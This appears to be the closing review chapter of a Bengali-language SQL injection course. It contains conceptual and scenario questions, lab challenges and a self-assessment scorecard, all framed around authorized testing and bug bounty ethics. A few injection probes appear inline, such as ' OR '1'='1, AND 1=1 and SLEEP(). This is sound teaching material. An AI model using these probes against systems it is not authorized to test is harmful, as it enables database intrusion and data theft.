- Parameterized query কীভাবে কাজ করে?
- Parameterized query দিয়ে কী সুরক্ষিত হয় না?
- ORM ব্যবহার করলেও কেন SQLi সম্ভব?
- Stored procedure কি নিজে থেকেই নিরাপদ?
- Least-privilege database account কী?
- Allowlist ও denylist-এর পার্থক্য কী?
- WAF কী এবং এটি কীভাবে কাজ করে?
- WAF কেন primary defense হতে পারে না?
- Database fingerprinting কেন গুরুত্বপূর্ণ?
- MySQL ও PostgreSQL-এ string concatenation সিনট্যাক্স কী?
- Oracle-এ কেন
FROM dualপ্রয়োজন? - CVSS কী?
- Blast radius বলতে কী বোঝায়?
- SQLi-এর confidentiality impact কী?
- SQLi-এর integrity impact কী?
- SQLi-এর availability impact কী?
- Mass assignment ও SQLi-এর পার্থক্য কী?
- GraphQL-এ SQLi কীভাবে ঘটতে পারে?
- False positive বলতে কী বোঝায়?
- Repeatability test কেন গুরুত্বপূর্ণ?
- Confidence level নির্ধারণের মাপকাঠি কী?
- Safe proof-of-concept-এর মূলনীতি কী?
- কেন পুরো ডেটাবেস ডাম্প করা অপ্রয়োজনীয়?
- SQLMap কী?
- Automated scanner-এর সীমাবদ্ধতা কী?
- একটি ভালো bug bounty রিপোর্টের মূল উপাদান কী কী?
- Severity justification-এ কী অন্তর্ভুক্ত থাকা উচিত?
- Error suppression হলে কোন কৌশলে স্থানান্তরিত হতে হয়?
- Type error কীভাবে error-based SQLi-তে ব্যবহার করা যায়?
- Parser differential ধারণাটি কী?
- Defense-in-depth বলতে কী বোঝায় SQLi প্রতিরোধে?
Conceptual প্রশ্নের Answer Key (সংক্ষিপ্ত)
এই প্রশ্নগুলোর বিস্তারিত উত্তর সংশ্লিষ্ট অধ্যায়ে পাওয়া যাবে: ১–৩ → অধ্যায় ০১; ৪–২০ → অধ্যায় ০২–০৩; ২১–২৬ → অধ্যায় ১৭; ২৭–৩০ → অধ্যায় ১২, ০৮; ৩১–৩৬ → অধ্যায় ১৬; ৩৭–৩৮ → অধ্যায় ১৪; ৩৯–৪২ → অধ্যায় ১৮; ৪৩–৪৬ → অধ্যায় ১৫, ১৯; ৪৭–৫০ → অধ্যায় ০৯, ১২, ১৭। প্রতিটি প্রশ্নের নির্দিষ্ট, বিস্তারিত উত্তর সেই অধ্যায়ের মূল টেক্সটে ব্যাখ্যা করা আছে — সংক্ষিপ্ত এক-লাইন উত্তর মুখস্থ করার বদলে মূল অধ্যায়ে ফিরে গিয়ে ব্যাখ্যাসহ উত্তর পুনর্গঠন করার অভ্যাস করুন।
২৫টি Scenario-Based Question
- একটি লগইন ফর্মে username ফিল্ডে quote পাঠালে ৫০০ error আসে, কিন্তু error message-এ কোনো SQL keyword নেই — এটি কি নিশ্চিত SQLi? কেন/কেন না?
- একটি সার্চ বক্সে
AND 1=1ওAND 1=2-এর response একই — পরবর্তী ধাপ কী হওয়া উচিত? - একটি API endpoint JSON body গ্রহণ করে, কিন্তু WAF শুধু ফর্ম-এনকোডেড ডেটা পরীক্ষা করে — এখানে ঝুঁকি কী?
- একটি প্রোফাইল আপডেট ফর্মে payload সংরক্ষণ করার পর সরাসরি কোনো প্রভাব দেখা যায় না — এটি কি নিরাপদ বলে ধরে নেওয়া উচিত?
- একটি endpoint stacked query সমর্থন করে বলে মনে হচ্ছে — পরবর্তী পদক্ষেপ কী হওয়া উচিত, এবং কী করা উচিত নয়?
- Time-based payload-এ একবার ৫ সেকেন্ড দেরি দেখা গেছে, কিন্তু দ্বিতীয়বার দেখা যায়নি — সিদ্ধান্ত কী হবে?
- একটি e-commerce অ্যাপ্লিকেশনে coupon কোড ফিল্ড string context-এ ব্যবহৃত হচ্ছে বলে সন্দেহ — কীভাবে hypothesis টেস্ট করবেন?
- একটি রিপোর্ট জেনারেশন ফিচার শুধু admin-দের জন্য উপলব্ধ, কিন্তু আপনার কাছে শুধু customer অ্যাকাউন্ট আছে — আপনি কী করবেন?
- একটি UNION-based payload-এ column count ভুল অনুমান করায় error এসেছে — এটি কি vulnerability না থাকার প্রমাণ?
- MSSQL ব্যবহার হচ্ছে বলে সন্দেহ, কিন্তু MySQL-নির্দিষ্ট
SLEEP()payload কাজ করছে না — পরবর্তী পদক্ষেপ কী? - একটি endpoint প্রতিটি request-এ ভিন্ন response length দেখাচ্ছে, এমনকি বেসলাইনেও — কীভাবে এগোবেন?
- একটি GraphQL resolver-এ
Intটাইপ আর্গুমেন্টে string payload পাঠালে validation error আসছে — এটি কী নির্দেশ করে? - একটি multi-step checkout-এ ধাপ ১-এর ডেটা ধাপ ৩-এ কোথায় ব্যবহৃত হচ্ছে তা অস্পষ্ট — কীভাবে ম্যাপ করবেন?
- একটি bug bounty প্রোগ্রাম rate-limit নির্দিষ্ট করেছে — SQLMap ব্যবহার করতে চাইলে কোন ফ্ল্যাগ প্রাসঙ্গিক?
- Error message-এ "ORA-00933" দেখা গেছে — এটি কোন DBMS নির্দেশ করে এবং পরবর্তী payload কেমন হওয়া উচিত?
- একটি injectable endpoint পাওয়া গেছে, এবং database account-এর DROP privilege আছে বলে সন্দেহ — আপনি কী করবেন (এবং কী করবেন না)?
- একটি রিপোর্টে আপনি পুরো users টেবিল ডাম্প করে প্রমাণ দিয়েছেন — এটি কি উপযুক্ত অভ্যাস?
- একটি endpoint-এ cookie মান ডেটাবেস লগিং-এ ব্যবহৃত হচ্ছে বলে সন্দেহ — কীভাবে hypothesis যাচাই করবেন?
- একটি প্যারামিটার পরিবর্তন করলেও response কখনোই পরিবর্তন হয় না — সম্ভাব্য কারণ কী কী?
- একটি API error হিসেবে শুধু
{"error": "Bad Request"}ফেরত দেয় — error-based কৌশল কি সরাসরি প্রযোজ্য? - একটি লগইন ফর্মে
' OR '1'='1কাজ করেনি, কিন্তু timing পার্থক্য পাওয়া গেছে — এর অর্থ কী হতে পারে? - একটি endpoint-এ WAF ব্লক করছে, কিন্তু আপনি শুধু defensive research করছেন, exploitation নয় — আপনার পরবর্তী, নৈতিক পদক্ষেপ কী?
- একটি প্রোডাক্ট ফিল্টার endpoint দামের রেঞ্জে ঋণাত্মক মান গ্রহণ করছে — এটি কি SQLi, নাকি অন্য কিছু?
- আপনি একটি scope-এর বাইরের subdomain-এ সম্ভাব্য vulnerability খুঁজে পেয়েছেন — আপনার কী করা উচিত?
- একটি রিপোর্ট জমা দেওয়ার আগে আপনি নিশ্চিত নন যে ফলাফল পুনরুৎপাদনযোগ্য — আপনার কী করা উচিত?
১৫টি Practical Lab Challenge
- একটি lab অ্যাপে একটি single-quote probe দিয়ে injectable parameter শনাক্ত করুন।
- একটি boolean-based blind SQLi নিশ্চিত করুন এবং একটি সারণীর নাম বের করুন।
- একটি time-based blind SQLi দিয়ে database version বের করুন।
- UNION-based কৌশলে column count বের করে একটি marker স্ট্রিং দেখান।
- একটি error-based payload দিয়ে database name বের করুন।
- একটি JSON API endpoint-এ SQLi parameter শনাক্ত করুন।
- একটি second-order SQLi সিনারিও তৈরি করে ডেটা-প্রবাহ ম্যাপ করুন।
- একটি ORDER BY clause-ভিত্তিক injection শনাক্ত করুন।
- একটি lab-এ দুইটি ভিন্ন DBMS fingerprint করে পার্থক্য নথিভুক্ত করুন।
- একটি vulnerable কোড নমুনা parameterized query-তে রূপান্তর করুন (পছন্দের ভাষায়)।
- একটি dynamic ORDER BY ফিচারের জন্য allowlist প্যাটার্ন লিখুন।
- একটি false-positive সিনারিও তৈরি করে এবং সঠিকভাবে বাতিল করে দেখান।
- SQLMap ব্যবহার করে (authorized lab-এ) একটি পূর্বে manually নিশ্চিত হওয়া injection পুনরায় confirm করুন।
- অধ্যায় ১৯-এর টেমপ্লেট অনুসরণ করে একটি সম্পূর্ণ practice রিপোর্ট লিখুন।
- একটি সম্পূর্ণ লগইন ফর্মের জন্য vulnerable ও fixed কোড উভয়ই লিখে, ফিক্সের ব্যাখ্যা দিন।
Self-Assessment Scorecard
| ক্ষেত্র | দুর্বল (১) | মাঝারি (২) | দক্ষ (৩) | আপনার স্কোর |
|---|---|---|---|---|
| SQL fundamentals | Query পড়তে পারি না | সাধারণ SELECT বুঝি | JOIN/subquery লিখতে পারি | ___ |
| SQLi শনাক্তকরণ | শুধু quote probe জানি | boolean/error নিশ্চিত করতে পারি | blind+timing+second-order ধরতে পারি | ___ |
| Exploitation | শুধু তত্ত্ব জানি | UNION দিয়ে ডেটা বের করতে পারি | DBMS-নির্দিষ্ট কৌশল প্রয়োগ করতে পারি | ___ |
| Prevention | parameterized query শব্দটি জানি | একটি ভাষায় ফিক্স লিখতে পারি | একাধিক ভাষায় + allowlist + least-privilege ব্যাখ্যা করতে পারি | ___ |
| Reporting | কাঠামো জানি না | টেমপ্লেট অনুসরণ করতে পারি | severity justification সহ পূর্ণ রিপোর্ট লিখতে পারি | ___ |
মোট স্কোর ৫–৭ হলে Beginner স্তরে আরও সময় দিন; ৮–১১ হলে Intermediate অনুশীলনে ফোকাস করুন; ১২–১৫ হলে আপনি Advanced labs ও সত্যিকারের bug bounty প্র্যাকটিসের জন্য প্রস্তুত।
এই ডকুমেন্টেশনের শেষে
আপনি SQL fundamentals থেকে শুরু করে ২২টি অধ্যায় জুড়ে SQL Injection-এর fundamentals, সব প্রধান ধরন, manual testing methodology, prevention, এবং professional reporting শিখেছেন। পরবর্তী ধাপ: PortSwigger Web Security Academy ও OWASP Juice Shop-এ নিয়মিত, নৈতিক practice চালিয়ে যান।